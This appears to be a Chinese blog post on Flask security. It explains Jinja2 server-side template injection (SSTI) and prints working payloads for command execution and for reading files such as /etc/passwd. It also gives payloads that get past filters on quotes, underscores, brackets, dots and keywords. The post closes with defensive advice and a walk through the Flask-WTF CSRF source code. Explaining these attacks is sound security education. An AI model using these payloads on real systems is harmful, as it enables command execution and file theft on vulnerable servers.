最近”闲的”没事研究了一下flask框架的防护问题,主要是ssti与csrf。
10号前一直在搞用flask写的bms,算是荒废掉了。。
先说一句废话,七牛CDN有个测试域名,一段时间后失效,失效后需要替换为自己备案后的域名进行CDN加速,在这里出现了一个问题,在hexo主题配置文件将URL换为自己的CDN域名后,用之前的域名上传的图片就找不到了(因为之前的域名已经被废弃,无法解析)
这时候可以 hexo clean 然后 hexo g,重新把md文件渲染成html文件,这样里面产生的图片链接的URL前缀就是我们新配置的CDN域名。
参考资料
https://mp.weixin.qq.com/s/Lj4nCz0hag-AKQF_s79fQw
https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/#%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E6%A6%82%E8%BF%B0
https://xz.aliyun.com/t/6885
http://shaobaobaoer.cn/archives/660/python-flask-jinja-ssti
https://www.anquanke.com/post/id/188172
SSTI
ssti就是服务器端模板注入(Server Side Template Injection)
模板指的是现成写好的东西,只需要传入一些变量到模板,然后渲染成html页面。模板是写好的,而变量是每次需要传入的。
不正确地使用模板引擎进行渲染时,会出现SSTI漏洞。(jinja2)
在flask中,使用jinja2模板渲染引擎,有两种渲染模板的方法:render_template()和render_template_string(),两种方法的区别是第一种指定一个模板文件(.html),第二种则规定了需要传入一个字符串,把html代码写到字符串中。
出现问题的是第二种渲染方式(我写bms的时候用的是第一种。。本来想写写防御来着,但是根本不存在利用点),当显示方式为直接获取变量时,如
1 | person['name']=request.args.get('name') |
这样的话传入
1 | ?name={{7*7}} |
的话显示的就是7*7,因为这样会把传入的内容当作字符串进行处理,而非模板语句。
如果是这样:
1 | person['name']=request.args.get('name') |
通过字符串格式化的方式传入内容,模板语句会被解释执行。
SSTI利用
任何漏洞的目的是实现个人意图,比如getshell,读取文件。
对于SSTI的利用,我遇到的主要是通过获得config里面的secret key进行伪造session,模拟管理员登录;或者通过实例化os反弹shell,或者通过file、open对象进行文件读取。
__class__获取当前实例的对象,__mro__获得父类链,__subclasses__获得当前类所有的子类,__init__实例化一个类,__globals__获取所有可用的方法与变量。
举例:
命令执行:
1 | {{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}} |
过滤与绕过
过滤引号
request.args是Flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤:
1 | ?name={{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/tmp/cmd.py |
过滤双下划线
1 | ?name={{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read()}}&class=__class__&mro=__mro__&subclasses=__subclasses__ |
过滤中括号
首先明白中括号是什么作用:从字典中取值。
1 | globals["os"]==globals.os 所以可以用__getitem__绕过。 |
过滤点号
1 | "".__class__等价于""["__class__"] |
关键词过滤
思路是进行拼接。
1 | {{"".__getattribute__("__cla"+"ss__")}} |
SSTI防御
首先是尽量不使用render_template_string(),如果用的话,尽量不使用格式化字符串的形式;如果必须使用的话,要建立相对强的过滤规则,尤其是对小括号的过滤,过滤小括号后就很难执行命令了。
对于关键词过滤,我的思路是进行预处理,将接收到的字符串中的引号,加号等特殊符号正则匹配去掉后再进行黑名单匹配。
flask csrf分析
开口就是老csrf了,先分析分析源码
首先
1 | CSRFProtect(app) |
,跟进CSRFProtect
然后有一个app.before_request修饰的方法,说明在请求前执行。
该方法进行
1 | self.protect() |
跟进self.protect()
使用方法validate_csrf尝试验证token的正确性,token为self._get_csrf_token
其实对URLSafeTimedSerializer这个我不是太熟悉,我对他的理解是产生一个session,session包括三个字段,base64加密的数据字段,timestamp,签名。
然后产生的token就是获取序列化后的session的数据字段的
1 | session[field_name] |
中的数据。
生命流程
第一次访问,产生session与token,设置过期时间
第二次包括以后的访问在头部或者表单中携带token,访问前进行验证,验证通过则允许访问。除了token外还有请求头,同源策略等验证
CSRF防护
就flask的csrf防护方法而言,主要是防止hacker拿到token,主要需要防范xss,比如上述提到的ssti会导致xss。